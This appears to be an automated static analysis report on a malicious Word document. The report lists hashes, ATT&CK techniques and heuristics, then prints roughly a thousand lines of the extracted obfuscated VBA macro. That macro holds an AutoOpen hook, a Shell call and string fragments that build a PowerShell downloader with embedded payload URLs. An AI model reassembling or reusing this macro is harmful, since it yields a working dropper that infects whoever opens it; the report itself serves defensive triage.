Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 009428f57009a3d9…

MALICIOUS

Office (OLE)

126.5 KB Created: 2018-02-19 07:17:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: ed8e0985b4f9f7d64b5fe7c544361d09 SHA-1: 4f48dafa7ba658c8c49651196236d7e790d2dc22 SHA-256: 009428f57009a3d94ddb57f3a3b9790e605d0740d7d337efc7f4bca050de4651
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. The 'OLE_VBA_SHELL' heuristic indicates a potential 'Shell' call, and the 'macros.bas' file contains VBA code that appears to be designed to download and execute a second-stage payload from the suspicious URL found in the document. The obfuscation and the presence of a potentially malicious URL suggest a downloader or droppper functionality.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    zqAkrPBsj = 7760506 + Atn(iWjPQPBInDMBV) / NohPTmi - Sgn(YOUqRjvWAWNKHE * Log(wBamjzzkpi)) / (4177615 - aUcNBMkzVu * zVNQCpnLHJ - lNsAzAZ)
    Shell fLwDUCXIMz + crsZPJZFD + GFBbdRSjw + CTOUMiOVAOjXrP, 0
    OBStNihbN = 6929592 + Atn(HkmPj) / TcicshiIUIn - Sgn(iniOlNb * Log(ZTRNaFiREwcFRj)) / (3036042 - JmVTjktVtQiwUt * ZnkGALUBnCRDWj - tzXnFwrIPoZ)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "kJqurah"
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://conUMu+sQE+sQEUMugUMu+UMuiuUsQE+sQEMu+sQE+sQEUMsQE+s In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34200 bytes
SHA-256: 4863edddbdc313f2e1fed8beb1df5c7bf9d67f79093a09085ce4d7bd1ab990eb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1227 of 1648 identifiers look randomly generated (e.g. 'LRYEGQYUQsWRQzvHdioewjijewdQtBTfdLCpRrwo'); 15 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lAjcjppd"
Function rjNbGiFoliqjfR()
On Error Resume Next
nEERzNZVJLU = 7115892 + Atn(wNvoiPCmmwKcvm) / uzwzj - Sgn(YJOMmBZcTT * Log(LcWrHGWrZBhhmR)) / (789958 - kVlShBV * EhcrNdJSd - QSQLnqZ)
tmvFXokF = 1096064 + Atn(Yqcbvi) / oHiARJHwnZif - Sgn(vsPEaAlzZh * Log(tbrwhbFhIapCk)) / (5483612 - HLRYNMucOjbYA * zpPZnHqSKRLUw - CGpibjtZj)
ckwHOdcFI = 70947 + Atn(iwzcQFDE) / LladzUDpBANt - Sgn(YZIqwwU * Log(YIOEE)) / (1776864 - puLHPKKQfMhGc * YfnaT - ZTZJHklnd)
DANADIbtpv = (dwtzBoQiPi) + yHBjksbJKSUgsssd("AoMmYjwdvEsqmQE+sQEuiX+uiXIfUMu+UMuZInvo'+'IUMu+uiX+uiXUMufZUMu+UMu+IfZkIuiX+uiXfZUMu+UMusQE+sQE+IfZe-uiX+uiXIUMu+UMutemIfuiX+uiXZuiX+uiXsQE+sQE)(zXBSDUMu+'+'UuiX+uisQE+s'+'QEXMuC)UMu+UMu;UMu+UMubreak;}stHd", 14, 190)
ooBXkHoU = 8017039 + Atn(zAdbiljRVVCAf) / XnUnpvQER - Sgn(hwNLPquuRtonz * Log(uGcudlmEwjq)) / (4229179 - qZubsi * thXXCfaIjlkj - ktjSVbfEdzhV)
UdLGtfz = 8816767 + Atn(EUWRvENpMiE) / wLiVNvGiXwpbG - Sgn(DiQkqCIw * Log(nMUpfZuhB)) / (2765859 - cUaIklOLKH * uLdBfZcsBk - pqItG)
SCWLqcnU = 5285516 + Atn(dPoNdp) / IIzEowmOIRI - Sgn(iuVEJMr * Log(fjzrfmChrq)) / (6448865 - oSXQcnNnPai * kuzOHKfAlODYJ - YBuFWS)
CEzAioa = (dFNJciO) + yHBjksbJKSUgsssd("XOFcZzzPSpABwwfaMAsIOAQDWWZJGjvbwYJOiN'')((('((sQE & ((g'+'v uiX*mDRsQE+sQE*uisQE+sQEX'+').name[3,11,2'+']-joIn'+'uiXuiX)(((uiX (UuiX+uiXMuzXBnssQE+sQEaUMu'+'uiX+uisQE+sQEX+UMudUMu'+'+UMuassQE+sQEd'+' = uiXzq", 35, 171)
YYpAiKH = 2078167 + Atn(vZOwHVPLtKD) / GJWlrDiK - Sgn(hDzXA * Log(mMGfp)) / (1436355 - izzXz * GnLABl - zPDwW)
tUoTllcD = 9685857 + Atn(fOWPb) / UczniO - Sgn(DiYnTG * Log(ENWCwlwDXI)) / (1847886 - rGYQbi * pmdoYVndwSqPcP - wRrTQpIQE)
fojpDzqnqpT = 8247235 + Atn(VWBfOwFXQp) / ZwhLIAlhsj - Sgn(UKHZIRGhWYzuA * Log(bTEtKFzj)) / (4245458 - smFhHiXwwbBrY * nnQiTBcDjvjh - niauooPjWMZ)
OXQQEYIrPPX = (IGlpoZh) + yHBjksbJKSUgsssd("rj& ( $vErbOsepREfeRENCE.toSTRInG()[1,3]+'x'-jHkXwEipbsliBPzrLvwmhICTZccJ", 3, 43)
WTCHqFfq = 9382763 + Atn(QVhNDIIRbrI) / AdFGjwmShL - Sgn(caTArQBYAvQi * Log(sAhmHpvzJm)) / (3774333 - jzdEniDEkEnj * QAZSHf - udNjPALsPoT)
SHXajT = 7616210 + Atn(PIRXU) / QNiroNz - Sgn(qoViBGjrFl * Log(pnTKovkzjsIjCw)) / (9013214 - VQlZTRV * DuJSjQYDf - fZzDpwDNOl)
qVcwQaPz = 6477865 + Atn(TjGrNa) / MiXRwHum - Sgn(TSUFDcTU * Log(SapVFCjn)) / (9634439 - dMpCzjSvHI * vvJluvRcBrMlZu - dqYVhLJTJGdQXV)
kdwILOR = (pRNUOpGKAZ) + yHBjksbJKSUgsssd("NWsQLtHjqlEsjSDWTu+UMuXBUMu+UMuNSUMu+UMuB = zXBn'+'sadasdUMu+UMu.nexsQE+sQEtUMu'+'+UMu(1'+'0000, 28UMu+UMu2133UMu+UsQE+sQEMu);UMuWwqnuLPqsVARDRjNPOhmmb", 18, 112)
dTddivju = 99565 + Atn(QftGQKAZGXU) / GNOPAMisfOIaOI - Sgn(alfkDf * Log(vaYEj)) / (4912311 - BIjdJWJ * LnasHABXT - HAanbnQRBSnqw)
VzUwudJzYE = 6204244 + Atn(ddFYzF) / ACZsKLXEtDFM - Sgn(YoNhwNrUr * Log(VrtjiWwwWmV)) / (77584 - OjdEtzYjk * HkoQYckNSIS - AQbti)
UOKcLpuw = 9421054 + Atn(jZDYQz) / SIwWSzlHmwqFYV - Sgn(ZDrFKiNdAPbi * Log(KEMXR)) / (4949726 - cOvqTS * icDcYkzAAjLoQ - iwHqVj)
KYpkAiW = (kQaPHzGcWmbnmb) + yHBjksbJKSUgsssd("bX+uiXUsQE+sQEMu+UMu&qmnHRudAYzlUIRKQTRudzGBtcUvz", 2, 20)
SfQshXt = 6030257 + Atn(cJDzQnz) / iwwqknaYnqsfZv - Sgn(WiBUobfncH * Log(LoHMtU)) / (469390 - JsmKMzcVQTMA * hihTPSLVCITi - blQbwXckli)
XiBjttWDYAJ = 6962770 + Atn(oULGPUQH) / iGatdBrT - Sgn(kSbhYq * Log(pWoXCv)) / (27182 - zazzOmnCbLwfph * VlQizRrH - UBawbkQiGdtDDr)
MRYazZ = 964975 + Atn(wQAWbLPH) / SlmRC - Sgn(ITBfNMparuN * Log(LoQRtLJBB)) / (8265232 - VJlSvJwiRDwk * CMrHHpJbNmE - mBraHAiR)
dIAzVSfJA = (wnCtDJE) + yHBjksbJKSUgsssd("LjJiQROMu+UMuSysteUMu+UMumsQE+sMDOwjzl", 8, 24)
YYLTYApzB = 6509174 + Atn(HWhzII) / EKDTTC - Sgn(qPONXQKRQ * Log(PGlKGFGSjXYzu)) / (8773384 - JmMmStjdsqEn * oRzqGqkBWvz - wAjiz)
DLjHcEFlmM = 8343294 + Atn(UcNdwfww) / dsUBRadRYit - Sgn(JjnrO * Log(WtAwvzkSDbo)) / (152939 - HuEYdaw * VXSGPwQLsZmk - cDfizVRwWCdXWl)
qpRZBz = 1860762 + Atn(LKQSt) / VhsfA - Sgn(HKBBQNfq * Log(tfFiowUoj)) / (8535958 - HGhPWRE * hzmRUwrLAb - JFTjRi)
XuPDa = (fPhUCtM) + yHBjksbJKSUgsssd("tJjBRwMAuUE+sQEtUMu+UMut'+'p://UMu+uiX+uiXUMudrniepmann.de/KDyUMu+UMfzliir", 11, 57)
auWKpSFp = 6207846 + Atn(mUMciInaQkLdzZ) / EiihmqiNwHA - Sgn(KFKQa * Log(HPjhfE)) / (6039508 - aNBUVJfbX * jDuHEGQViH - VGUlVsKAWw)
ujZiZuwnwvV = 4898090 + Atn(NPVMb) / rViijjWNAKZR - Sgn(WXuFGh * Log(zRVbAiKBjri)) / (8982570 - krmvnZnOIrzb * oDdTKO - slZzHhCWVh)
SUwrTQZ = 1711869 + Atn(icZilzShtU) / ZWzuqHXNhUPvw - Sgn(mnFXRtbi * Log(wcPYsTrhl)) / (4770338 - zdHmLOzUbHOha * zLMKbaQ - zDSajftpndWER)
Hlradwvwano = (MAdmfzJEIbHOk) + yHBjksbJKSUgsssd("zaBosNsiXpsQE+sQEsuiX+uiXhOMe[30]+UMuuiX+uiXXUMu)uiX) -rePLsQE'+'+sQEaCE ([char]112+[csQE+sQwncDQOEFmDcNcujSRNMSqR", 8, 84)
nqFHKYZWS = 4439152 + Atn(wdJiEUl) / RamUlLWvqju - Sgn(YiJjjVXmYmlKPT * Log(bIibwaXif)) / (4064958 - wjSPCbkYmUTZu * zwHfpbESnum - EvYAzdO)
LcFaYiwNVCm = 7879190 + Atn(nUIkJZrjD) / jjsAbP - Sgn(qtpiwXcqXozlUp * Log(FKJizvf)) / (418839 - ljmDcMv * lAnVzuqwftmkru - RYdhrzQDKrc)
TktzoIXUNw = 8625351 + Atn(lZOKtDA) / CpGPShTC - Sgn(RVqAUfwiDzUzc * Log(WBdLGicqou)) / (2880505 - iXRYPwB * ZHCMQuQf - DjWaMkOoWNXQb)
XKJBvQ = (PhuoLsHf) + yHBjksbJKSUgsssd("tJSjGSuGYVFQ'+'E+sQEcatch{UMu+UMu}UMu+U'+'sQE+sQEMu}UMu).Re'+'plAcE(UMuXlfUsQE+sQEMu,[stRi'+'nG][chaR]34).ReplAcE(([sQE+sQ'+'EchaR]72+[chaR]82+[chaR]'+'107),[stRinG'+'][chaR]92).R'+'eplAcE(([chauiX+uiXR]sQE+sQZmNBLRpABSFmisuGJXRPvnaFsW", 12, 198)
MOWiz = 150449 + Atn(OsoWmDjtjiAw) / FbKzoSKTIb - Sgn(IUOXaBI * Log(avitRaoJ)) / (9252304 - oRKFpupkOZiqR * QZOSoL - iVjYiWht)
ESMQQ = 4581020 + Atn(IOcUK) / CfUiq - Sgn(ipjdccrLWVkY * Log(vdhKXI)) / (8358892 - ZWcplGULmTdcv * roBtEBMindDO - bVUwZww)
iGHpLmrmw = 1874964 + Atn(HorWXzjB) / wJImsJ - Sgn(DpiujwlWrt * Log(SWDdzdXhMCiiM)) / (9056459 - WHFGocLSWISP * ICUfiJRiDTK - OLwbVLRzzbi)
ttMavFXSsU = (PzRvMOw) + yHBjksbJKSUgsssd("sjQQEha'+'r]82+[char]119),[char]36'+vudhQoZFlvltprjjJPwLBpDlMfCJkXblS", 4, 33)
jPJNa = 3698632 + Atn(ubZROrBwAPmj) / DvZvKaWwd - Sgn(bnmuSLOV * Log(IqXJfvsMfXfwB)) / (8324089 - iGaHTjwpQJwi * wilmtwYifl - zRNrazSZvAPLl)
DftFq = 1235038 + Atn(JMAGz) / RQPwmtFETDw - Sgn(hIBTFPSrY * Log(bhWzjrnMiZm)) / (2298355 - BzuoENVcwRq * wApGl - IJipiamNORGV)
foqzfd = 4770528 + Atn(VaAVLaOdDFi) / fwhqzFwm - Sgn(CzLPUBrzDV * Log(sIiYAUvKYi)) / (1098327 - KSuqfXTBYm * SaoGr - XizjDXXNJ)
ijbRAT = (nYKhCzDdH) + yHBjksbJKSUgsssd("BjYdWapPknUivrADJkMjiBkressIOn') -REpLAcE ([ChAr]122+[ChAr]75+[ChAr]115),[ChAr]124 -REpLAcE([ChAr]115+[ChAr]81+[ChAr]69),[ChAr]39) ) LQvUXWpAt", 24, 110)
aGJEHXVKu = 1158095 + Atn(HvWcVhqqmZFVE) / KROKCQPARUwM - Sgn(PFBLzrctAC * Log(qtsdQjwusXD)) / (7465314 - rzpiGdCiJ * bkkNG - cuJOfUIXlk)
UjljCINz = 7061415 + Atn(DTGLTiUBB) / mWzEhqRsfSrQQc - Sgn(XrWoSsWtjapwP * Log(FtEcdImP)) / (5255153 - SFsERinDdRvn * NiGPdTdruBaaZn - mUHIPkWNzSbC)
cUhYIbXklSl = 7559865 + Atn(SzWRwruXsIwz) / XDRisrAQJKmYNq - Sgn(GzCQqGbEE * Log(cvsPbz)) / (2446845 - pwJioiLn * JnktjAZRv - fHowzN)
OfCGSmoBC = (UCFDPzLNEkBA) + yHBjksbJKSUgsssd("ozCKdjEatCkAkCYIU/8JLUsQZjDMcTZ", 18, 7)
OtGOovcln = 3759933 + Atn(jthKACJUSSQjTc) / KnKINtlmZE - Sgn(iitFV * Log(nDARsvXpCDqApW)) / (3453227 - nJcjmGEvGIGwY * bNzQsPbLSr - SKpuljhlnujd)
oULwvvr = 7452845 + Atn(hzELkpb) / bcdDZiCO - Sgn(rkwTvOAVYY * Log(kfrjKCL)) / (3107505 - zhCLAjNRi * CjZSrtq - lkEqMQQhvkutW)
dJFUBjGU = 3732917 + Atn(rcJhkSMBjmNW) / KNzpTJZfSJ - Sgn(mvTncXonj * Log(hpiLGaYiVDwuoX)) / (6487769 - EZNtGZTnvozY * LwZmfcYRi - iAzwGXs)
hJMMfRB = (MYJTFDlSQUPtv) + yHBjksbJKSUgsssd("vfzrGLMstGTFORvlfajvYoRjo'-cr'+'epLacE uiXZsQE+sQEW'+'VuiX,[char]124  -rePLaCE([char]85+'+'[char]77+[char]117),[char]39)) sQ'+'E)  -cr'+'ePLAcE([cHaR]117+[cHaR]105+[cHaR]88),[cHaR'+']39)zKsInVOKE-eXpUjfTPFEhZwZa", 26, 174)
kEtXXwOU = 1717068 + Atn(JTaMitJcMQChD) / hsizzpUC - Sgn(NvIAnmBwk * Log(BwXtDvwjfJdNkW)) / (6417186 - RWZKTZGwMQ * sWqKSRiCW - zfDAIp)
iqFkjrv = 8565933 + Atn(zKlTLVfYaicpb) / mZEKpzLwCUL - Sgn(RrWKLjOC * Log(FlZKUft)) / (8297811 - ZjiSs * wzAthDIQHt - nCQTs)
vdRJiKwR = 5332826 + Atn(ThniAUTSF) / ufjzzsNNjUUJzV - Sgn(QQsrakhE * Log(zLqRzf)) / (4972113 - wJVcJEoK * GIGEJ - SNjDbaiONba)
vpIbZFq = (qIWuQRaAJJFYH) + yHBjksbJKSUgsssd("SmdrkFsznDutp:/'+'UMu+UMu/wUMu+UuiX+uiXMuww.sp8krosnUMu+UMuo.pluiX+ui'+'X/yuiX+uiX4LUMu+UMuoUMu+UMuJ'+'/?'+'UuiX+uisQE+sQEXMu+UMuhsQMBLJPzzOvkjppD", 11, 122)
KOzSNl = 7853726 + Atn(vIBiFAIF) / FLzwvSYcrXtGk - Sgn(dWJMcsBbwQrs * Log(nXHDYSnTlFrjG)) / (6029224 - kavNKTXMvnjM * dPiGCakEkTUo - VsQRjWNQqWUiiY)
nmsBhF = 3039196 + Atn(LQsFwpW) / ldfujAGaY - Sgn(wfvdGKz * Log(ntObUCVtY)) / (700746 - jzfVujDqTj * PuFVZkPiJiFYC - IJJcZmbCwp)
YXHdoa = 2589194 + Atn(KBzDTjpw) / TWwckiquud - Sgn(dsmWtNtzPM * Log(PIGaOlFOZjFzon)) / (2140657 - oHlID * mpRPaKF - shRXGpWKQFof)
sUMlHw = (XdYzEpbYDOcw) + yHBjksbJKSUgsssd("BTX+uiX?http://conUMu+sQE+sQEUMugUMu+UMuiuUsQE+sQEMu+sQE+sQEUMsQE+s'+'QEu.f'+'r'+'/N1Mk/?httUMu+UMupsQE+sQE://cidNjLczTGlbfimoDsuh", 3, 109)
YfWiz = 9154851 + Atn(nqXiQj) / ddrfUYJvS - Sgn(RsbrhDDNf * Log(UFCRu)) / (8651605 - QAzKjBNjb * zjUtZwjhSURFnU - ldAYbZlbB)
jtlEu = 8562399 + Atn(SOkqNHGFFdLJvG) / kcYELMfp - Sgn(YMLAYMISBijUwc * Log(JzhOra)) / (3798569 - RIpJCw * imZpRBwFhtV - IQawnASvLfRwV)
jUVwSb = 888346 + Atn(tsjDFV) / vtvHKENt - Sgn(UVhLo * Log(KBJjBVDVaUNuC)) / (2663393 - pPWoVhCjpNhSiw * ntSChhuWUw - YVnzKKfCfFLXT)
qDXFZSwdwRJ = (NFpdDsDVQIwK) + yHBjksbJKSUgsssd("wXAVQEUM'+'u+UMu.Net.WebCUMu+UMulUMu+UMu'+'ient;zsQE+sQEUMYFHkVCjiiiEwcIqjEFnllLSYizE", 5, 54)
NTfslG = 520241 + Atn(cIhtsCXncRXcV) / raNbzAvTzXGcjJ - Sgn(mkMIhqBabaTwPw * Log(aEwdJF)) / (539510 - tCuJIJmP * NnphKToH - zmAjDfWswBiFA)
EcpbTNiQ = 8796597 + Atn(QSFnhsRoKzi) / HaPlKVSGQT - Sgn(zPmQNll * Log(NtGQrNA)) / (5091041 - hzpjUDPSjQTkhn * zGGXucEC - lUiAJYXJu)
KdqdafLYw = 4056043 + Atn(TdfiMXzjV) / djGnTlHc - Sgn(VduQvzUOJIs * Log(pMOzTa)) / (5408242 - XiXhHIo * NpmQjOzuYN - irJoXcHnUsnA)
wjfGHMuBq = (YzjUbAfQvt) + yHBjksbJKSUgsssd("PHinSOoUaHNUcwICHCiREus(IfZnIfZ+UMu+U'+'MuIfZeIfZ+IfZwUMu+'+'UMu-UuiX+uiXMu+UMuoUMu+UMubjeui'+'X+uiXcIfZ+IfZtIfUMu+UMuZ) UMu+UMurandom;zXUM'+'u+UMuBYuiX+uiXYU = .(IUMu'+'+UMuBjpAjBildkjL", 24, 151)
EJdlEDndaNR = 8013824 + Atn(UNqzEzUUjZpblP) / IoLEzT - Sgn(IUBAiMHZMuVhwu * Log(GIJSq)) / (1840952 - duqNUEiQAs * VFVwEUINKM - FDTLIiCvfcpjrG)
YuGLnpGiVp = 1845769 + Atn(rDuwtdDb) / iHEoKdzOipnu - Sgn(vwNFMB * Log(ZiruDQJPQBb)) / (53218 - VdawHVzpSIRWW * HwjoQCuPAQJ - uTjwhNmCnSVP)
UlaNrj = 9558824 + Atn(CqHVZYjiCRhMK) / zGdKoWafGTbDjU - Sgn(pdTqZzDIiqlDL * Log(RRUCoEho)) / (2153550 - bQWknuVoMo * oNVlwtz - TDSPNoBGBuPLAR)
CjaXfSz = (LsATWcdaMTbF) + yHBjksbJKSUgsssd("CQTRpPbYdpsRlSNlIKCqcKmXknNUuiX+'+'uiXMu+U'+'MuluuiXsQE+sQE+uiXbUMu+UMu-sQE+sQEul'+'mevasUMu+UMusQE+sQEion.fr/jrZUMu+UMuXq/?UMu+UMuhtUMu'+'+UMrriIqEW", 28, 115)
TAwDf = 8817640 + Atn(cLWUFdVZcPwGbs) / LzHkEE - Sgn(LZVHGTXjvA * Log(uutGj)) / (8706226 - UlIatRhJAknj * psBAwzwWBBs - zDjwOEOO)
ORvYb = 9559771 + Atn(SSkfDazSnvP) / NCstJkvP - Sgn(jPGwOBKm * Log(ZSmFZjPRvXZ)) / (6715990 - zEhpdFV * dThQiCdjpZmjHV - iHcJdspXqkVSCP)
cEitC = 4665209 + Atn(FQlwzEpqj) / hFwmCHbHCiBw - Sgn(CovrjNjbURBhQ * Log(ZzZSlcrLj)) / (4702675 - iOruM * WIYiIDNJdzKNo - EmkCKdQPUAqEXm)
wdURaZKkizs = (QqLkpsXIBJvloU) + yHBjksbJKSUgsssd("wnMCJsPGBu+UMuc.XlfWNRi", 11, 9)
dmqvnLMoRC = 1290743 + Atn(YrDfaLdEcEMS) / uwlQQHHoSsJ - Sgn(mBWDzYBYjTvNOl * Log(iaFtiITBjCTSSz)) / (9995604 - ztjnJH * ifLtw - BXBfKcONzb)
YhEJDIwLV = 7605593 + Atn(ApAiGiYj) / wUizmXZ - Sgn(NWOXaffRnH * Log(lrARvUJRz)) / (94234 - cUMNEDWhX * pnlFY - ZKVMTbCwVwDicd)
CInnlNH = 1157363 + Atn(ZottLNabv) / jSwEOM - Sgn(ZkHdoFBSN * Log(IAnEuwPNzLijM)) / (6917947 - QNrjCRhrLDtwv * isawVRbHBpTh - QAsqXXjXsKiLZ)
ROiEIjkFihN = (hwvbzwdojja) + yHBjksbJKSUgsssd("TzMusQE+sQEmdXEusQE+sQEiX+uiX/IfZ.UMsQE+sQEu+UMuSpUMu+UMulit(UMu+UMuIfZ?UMu+UMuIfUMu+UsQE+sQEMuZ);zuiX+uiXXBuiX+uiXSD'+'C = zXBenUMu+uiX+sQE+ZtiDfImTEItFdRwDWMkRjEklrLD", 3, 139)
XuEiOJhzfti = 2547251 + Atn(bLOqhrmvr) / fAoTNOBj - Sgn(EjFRNfISqzJS * Log(nfYHNY)) / (7327939 - wubAdMN * HLPKfIoWuAKZZw - hAWMIuFBcucGli)
llZMlMPuQpn = 3344412 + Atn(TuVinuIdfqC) / NONmCwt - Sgn(HzFCBKmPCCCsdQ * Log(iENJnrthRssnO)) / (6434044 - DnkRcTpShcHsa * oKkzXiippF - NSoKJW)
RuMSt = 4557696 + Atn(NwPHLnWomfj) / zSDdiIqrwHO - Sgn(fJPBBIXFjKNiYC * Log(JAtwJIZJu)) / (2854022 - cBjjjFk * cCYVndIa - oFZEfjhqELEpFA)
ncrHnPhwW = (qSSJMBQVaRqT) + yHBjksbJKSUgsssd("oYOSXToStUMu+UMur9TniUM'+'u+UMu9TnNgXUMu+UMulfUMsQE+sQEu+UMu(), zXUMu+UMusQE+sQEBSUMu+U'+'MuDC);&(sEjToTLkLUOHYw", 6, 94)
UqHCMo = 9437667 + Atn(zpiujcWC) / jwwlA - Sgn(NwfzENvLwtCGb * Log(fwkiEaNwMNf)) / (783348 - hvJUPhlG * KIsEDdjBdVuWY - LPjZiRlRSAtO)
SdXsNSzGEUB = 3106166 + Atn(ZmYqZnmcqAXk) / LkJJzIJz - Sgn(jIGpG * Log(psLoNrcqwEwkz)) / (6719726 - fCuBZhIrv * GrUDQj - hunzpiWYjtN)
wrPpi = 946241 + Atn(XKOfD) / MnjKjA - Sgn(jGzHmfUM * Log(EvbqU)) / (4647653 - qnvmuhwcpA * XwBkGzZ - PZbHhkoUFTDMlo)
REinswWcw = (HaWliGSBidUppF) + yHBjksbJKSUgsssd("nMGhiYYjkawczPfZneIfZ+IUMu+UMufUMu+UMuZwIfZuiX+uiX+IfZ-obUMu+UMu'+'jesQE+sQE'+'UMu+UMuctIfZ) '+'U'+'kFIjjXkKusXijJwhEI", 15, 86)
MmzloszqlU = 3990367 + Atn(DOjOBF) / rJlnZjl - Sgn(NViEzFB * Log(UNnYTk)) / (5935618 - wQfIcpWMP * SNjwuNiqHSvL - DBELAOhtG)
WNFXnM = 5854161 + Atn(qJEdiXz) / oJmncWSZt - Sgn(dMdktbGXiV * Log(iuLjVHlJBIjTaX)) / (2521030 - NcpionRd * iGPcWLtd - GPaEHOhQr)
MmoRf = 3925169 + Atn(tDNjKsuonJudi) / mBWjfwqq - Sgn(RwqJV * Log(BYwwkYitiS)) / (5735992 - FpNLlsmU * LjMXCCA - iTjZMmlwjzsIIn)
imtpq = (SmUzQBUoiQ) + yHBjksbJKSUgsssd("dprwGhorMS+UMuzXBAUMu+UMuDuisQE+sQEX+uiXCX = u'+'iX+uiX'+'IfUMu+'+'UMuZ htUMu+UMutpsQE+sQE:uiX+uiX//www.g'+'u'+'iSfVkRictAocIoWZTrGPHX", 11, 103)
tSOqL = 8251996 + Atn(CcNEuuMEXVKrR) / LqWUM - Sgn(zwzOHQWdL * Log(PHpszMsHEcoK)) / (3542305 - ZhQUTFdi * SuGfzziYisj - DBYDww)
ziwMwuR = 2750954 + Atn(kkniioZz) / JFKlZ - Sgn(wrhsKaEFR * Log(MWjsQVHPOzh)) / (1384196 - AKXiWYnZVi * ZMQFDpfiVv - StHlowuX)
qVOsAHwvznk = 5240210 + Atn(rPhinwijiJrr) / SEEBL - Sgn(SDlhisdWl * Log(oiwDpiziXQt)) / (9530048 - rmaarpjjwjwJmF * zpJZzwpitoM - GViviUFtuHS)
zcqAVUurdBq = (WAOpokZhWiwzwu) + yHBjksbJKSUgsssd("kjrNXzaFdsQEuiXUuiX+uiXMuv:UMu+UMupUMu+UMuubliUMu+UMuc + IfZHRsQE+sQEksQE+sQEIfZUMu+UMu +UMuuiX+uiX+UMu zXBNSBuiX+uiX UMu+UMu+'+'UMu+UMu (IsQE+sQEfZUMu+UMu.exIfZ+sQE+sQEuiX+u'+'iXUM'+'u+UuiX+uiXMuIfiWfOjhWkSiUMBa", 10, 189)
DtGKSlDVaQ = 1263495 + Atn(ORnUohLnrX) / ttwwjuuJG - Sgn(lwoKUDrnafHZd * Log(aHiFVRcsKjaH)) / (1020421 - YmrUA * cVwKUdTAQrP - PKWbPoop)
WWmRnQ = 2874043 + Atn(lFkMwmOnomZuK) / JUkszc - Sgn(TUGsvizWCj * Log(UijtZHf)) / (6335954 - cDcuUAQRvEvr * RSkdUDEQQlFO - bVPucNQqzQ)
EYhrQEFQPck = 8334805 + Atn(XvRfbwl) / hRRIwncc - Sgn(LSXftYvC * Log(bibwR)) / (325952 - RwHmlpmUutJDH * pknVnwUjiWWdaX - rlAQO)
tNJpzbjPbL = (TABBHhmi) + yHBjksbJKSUgsssd("ozLiFcqtEDYaVcwPOcpPOE+sQER1/UMu+uiX+uiX'+'UMsQE+sQEuuiTQQPY", 22, 34)
vwtHuR = 2929405 + Atn(CIInsSwQ) / mRSRviGdiWlEDL - Sgn(MpuXibbGQ * Log(irGFCknhrnM)) / (7074329 - poflYs * OzwmaCYahV - LChMmzY)
rufzI = 6193310 + Atn(zWMXKciFjDpC) / mVjvUfz - Sgn(MzWcBiZ * Log(CfNsGjrmZb)) / (9647313 - SrifIzQM * rftjZlXqvJ - IchYcJHGiwVsj)
jLwkqZf = 6024889 + Atn(VVqUDSNzLzTMj) / UwdSEMqKFDwpJi - Sgn(VmMAfQBzbFb * Log(dWYIzaLJzsacTD)) / (2132452 - mVNIiSpN * LAiSwC - dQMnhuB)
OlarVOd = (DmzoadDZkSlPHP) + yHBjksbJKSUgsssd("JQ6).ReplAcE(UMuzXBU'+'Mu,UM'+'upRwUMu).ReplAcE(UMuIfZUMu,[stRinsQE+'+'sQ'+'EG]['+'cha'+'R]39) ZWVsQE+sQE&( pRwpshomE[21]+pRwuiX+uCfERcnjckkiwjTMMGCqzBwlvXkI", 3, 128)
dnKpGDtwL = 7280364 + Atn(jqCqNwCrX) / rUwJFkMAWdY - Sgn(hjwVLzAHV * Log(PpSiimzlikhCV)) / (7238112 - IKaTLfIAGJTtr * CqPNwEIrXGaA - woriOKcCpZoK)
BAZRXcjJH = 2591259 + Atn(oLYLsH) / buSpWjkRmUtKuJ - Sgn(PiEjPlN * Log(bClzTfwu)) / (6446099 - nWuZprdrkCFuA * wcwuGJrM - dqnljQl)
SlqZEr = 7696758 + Atn(LQHmSppNFX) / LLjBS - Sgn(rjEnXBaIQjCGub * Log(OfjjMMJGFtETLC)) / (3499670 - lSjYCj * nPjdBGmGKwCz - zSGnhdwuThP)
VaBtZ = (FlNFrSQLjLB) + yHBjksbJKSUgsssd("OwutqtVJZqBpizFMIMTiNqsQEiX'+'+uiX9TnlUMu+UMue'+'Xlf(zUMu+sQE+sQEUMuXBUMu+UMuasfUMuRdnuvvnkzV", 23, 61)
JjsLcvj = 7364515 + Atn(SMwqZlr) / hRXDhVSz - Sgn(FTmBzaEZdjHZJ * Log(BMMwbP)) / (2368748 - tBbnOLFSw * ufElzKVm - RwEjuXLVrUXrk)
tLJNz = 6245286 + Atn(ZkZJLtUKjnf) / BPMCcoXubo - Sgn(hQCpNwZc * Log(wVMOlLa)) / (9684605 - lVwOsKGiSvCMlH * TrtIDGMJLUjf - zRQNZ)
